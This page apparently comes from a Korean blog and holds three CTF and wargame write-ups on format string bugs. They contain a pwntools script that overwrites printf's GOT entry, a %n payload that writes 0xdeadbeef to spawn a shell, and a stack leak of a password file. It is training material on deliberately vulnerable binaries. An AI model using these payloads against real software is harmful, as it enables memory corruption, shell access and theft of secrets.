반응형
반응형
반응형

32bit ELF

 

 

 

두 개의 함수가 있다.

 

FSB

 

flag() = 0x080485B4 = 134514100

 

 

printf의 got를 flag()로 overwrite 한다.

 

payload = printf_got(덮을 위치) + %(flag()-4)x + %n

 

 

ex.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
 
= remote("ctf.j0n9hyun.xyz"3002)
= ELF('./basic_fsb')
 
printf_got = e.got['printf']
 
p.recvuntil(": ")
 
payload = p32(printf_got)
payload += "%134514096x%n"
 
p.sendline(payload)
 
p.interactive()
cs
반응형
반응형

root-me.org [APP - SYSTEM] ELF x86 - Format string bug basic 2 풀이



문제소스 :


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#include <stdio.h>
#include <stdlib.h>
 
/*
gcc -m32 -o ch14 ch14.c
*/
 
int main( int argc, char ** argv )
 
{
 
        int var;
        int check  = 0x04030201;
 
        char fmt[128];
 
        if (argc <2)
                exit(0);
 
        memset( fmt, 0sizeof(fmt) );
 
        printf"check at 0x%x\n"&check );
        printf"argv[1] = [%s]\n", argv[1] );
 
        snprintf( fmt, sizeof(fmt), argv[1] );
 
        if ((check != 0x04030201&& (check != 0xdeadbeef))    
                printf ("\nYou are on the right way !\n");
 
        printf"fmt=[%s]\n", fmt );
        printf"check=0x%x\n", check );
 
        if (check==0xdeadbeef)
        {
                printf("Yeah dude ! You win !\n");
                system("/bin/dash");
        }
}
cs



app-systeme-ch14@challenge02:~$ ./ch14 AAAA%08x%08x%08x%08x

check at 0xbffffaf8

argv[1] = [AAAA%08x%08x%08x%08x]

fmt=[AAAAb7fdc4a0000000010000000000000001]

check=0x4030201


포멧스트링 버그가 발생함을 알 수 있다.

이제 이를 이용하여 check의 값을 변조해야 한다.

app-systeme-ch14@challenge02:~$ ./ch14 AAAA%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x
check at 0xbffffae8
argv[1] = [AAAA%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x]
fmt=[AAAAb7fdc4a0000000010000000000000001bffffc140000000000000000040302014141414164663762]
check=0x4030201

메모리 구조를 살펴보면, check가 위치하는 곳과 fmt가 위치하는 곳을 확인할 수 있다.


check의 주소+2 <- 0xdead 57005

check의 주소     <- 0xbeef 48879


1. %08x 7번 사용해서 esp를 check앞까지 끌고 옴

2. %48811c (출력)- 현재 esp는 fmt 앞.

3. %n 메모리 값을 참조하여 그 곳에 값이 입력됨 (0xbeef가 들어갈 것이므로 주소는 0xbffffae8)

4. %8126c

5. %n (0xbffffaea)



payload = "\xe8\xfa\xff\xbf"+"A"*4+"\xea\xfa\xff\xbf"+"%08x"*7+"%48811c%n%8126c%n"



exploit (check의 주소가 변경되서 페이로드에 있는 값도 변경해주었습니다.)

./ch14 `python -c 'print "\xd8\xfa\xff\xbf"+"A"*4+"\xda\xfa\xff\xbf"+"%08x"*7+"%48811c%n%8126c%n"'`





반응형
반응형

root-me.org [APP - SYSTEM] Format string bug basic 1 풀이


문제소스:


1
2
3
4
5
6
7
8
9
10
11
#include <stdio.h>
#include <unistd.h>
 
int main(int argc, char *argv[]){
        FILE *secret = fopen("/challenge/app-systeme/ch5/.passwd""rt");
        char buffer[32];
        fgets(buffer, sizeof(buffer), secret);
        printf(argv[1]);
        fclose(secret);
        return 0;
}
cs


.passwd파일을 불러와 buffer에 32바이트만큼 저장하고

argv[1]을 출력하고 끝냅니다.


printf(argv[1])에서 포맷스트링 버그가 발생합니다.


argv[1]에 %x를 넣어준다면 스택에서 4바이트씩 증가하며 저장된 값을 읽어올 수 있다.


.passwd의 값은 buffer에 저장되어있고 buffer는 스택 어딘가에 존재할 것이다.


%08x를 이용해 스택을 잔뜩 긁어와 보았다.



app-systeme-ch5@challenge02:~$ ./ch5 %08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x

000000200804b008b7e562f30000000008049ff400000002bffffbb4bffffcd30000002f0804b00839617044282936646d61704500000a64b7e564adb7fd03c4b7fff00008048579defc6f00080485700000000000000000b7e3caf300000002bffffbb4bffffbc0b7fece6a00000002bffffbb4bffffb540804a0140804825cb7fd0000000000000000000000000000d13a6d6be959497b




그리고 다 아스키로 돌렸다.



 °·åbóŸô¿ÿû´¿ÿüÓ/°9apD()6dmapE

d·åd­·ýÄ·ÿð…yÞüo…p·ãÊó¿ÿû´¿ÿûÀ·þÎj¿ÿû´¿ÿûT ‚\·ýÑ:mkéYI{


읽을 수 있는 문자열이 존재했다. 리틀엔디안 방식으로 저장되어 있기 때문에 4바이트씩 날리고 빅엔디안으로 바꾸는 작업을 했주었다.


1) 39617044 28293664 6d617045 00000a64


리틀엔디안 -> 빅엔디안


2) 44706139 64362928 4570616d 64


hex -> ascii


3) Dpa9d6)(Epamd



반응형

+ Recent posts